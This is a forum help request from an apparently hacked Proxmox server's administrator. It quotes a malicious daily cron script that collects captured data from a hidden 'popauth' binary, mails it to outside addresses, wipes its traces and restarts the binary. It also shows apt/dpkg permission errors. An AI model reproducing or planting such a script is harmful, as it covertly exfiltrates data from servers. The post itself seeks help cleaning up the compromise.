I recently find out my Proxmox servers has been hacked,
There's a file at "/etc/cron.daily/dnsquery" which contains an script to send email to unknown addresses
Now i just want to install chrootkit and clamav to find out if there's any trojan on my server, but apt-get can't install anything and always shows errors like:
Any suggestion on how to fix the apt-get?
There's a file at "/etc/cron.daily/dnsquery" which contains an script to send email to unknown addresses
Code:
#!/bin/sh
cd /usr/lib/
./popauth -r httpd.log > test
cat /usr/share/misc/blah/temp.log |uniq >> test
echo >/usr/share/misc/blah/temp.log
mail unul_catalin@yahoo.com -s "$(hostname -f)" < test
mail cata@catalinx.org -s "$(hostname -f)" < test
rm -rf test httpd.log
A=$PATH
killall -9 popauth
export PATH=/usr/lib/
popauth -w httpd.log &
export PATH=$A
~
Now i just want to install chrootkit and clamav to find out if there's any trojan on my server, but apt-get can't install anything and always shows errors like:
Code:
Get:1 http://ftp.us.debian.org/debian/ squeeze/main binutils amd64 2.20.1-16 [3,993 kB]
Get:2 http://ftp.us.debian.org/debian/ squeeze/main chkrootkit amd64 0.49-4 [322 kB]
Fetched 4,315 kB in 10s (426 kB/s)
Preconfiguring packages ...
Selecting previously deselected package binutils.
(Reading database ... 32094 files and directories currently installed.)
Unpacking binutils (from .../binutils_2.20.1-16_amd64.deb) ...
dpkg: error processing /var/cache/apt/archives/binutils_2.20.1-16_amd64.deb (--unpack):
unable to create `/usr/bin/c++filt.dpkg-new' (while processing `./usr/bin/c++filt'): Permission denied
configured to not write apport reports
dpkg-deb: subprocess paste killed by signal (Broken pipe)
Selecting previously deselected package chkrootkit.
Unpacking chkrootkit (from .../chkrootkit_0.49-4_amd64.deb) ...
dpkg: error processing /var/cache/apt/archives/chkrootkit_0.49-4_amd64.deb (--unpack):
unable to create `/usr/sbin/chkrootkit.dpkg-new' (while processing `./usr/sbin/chkrootkit'): Permission denied
configured to not write apport reports
dpkg-deb: subprocess paste killed by signal (Broken pipe)
Processing triggers for man-db ...
Errors were encountered while processing:
/var/cache/apt/archives/binutils_2.20.1-16_amd64.deb
/var/cache/apt/archives/chkrootkit_0.49-4_amd64.deb
E: Sub-process /usr/bin/dpkg returned an error code (1)
Any suggestion on how to fix the apt-get?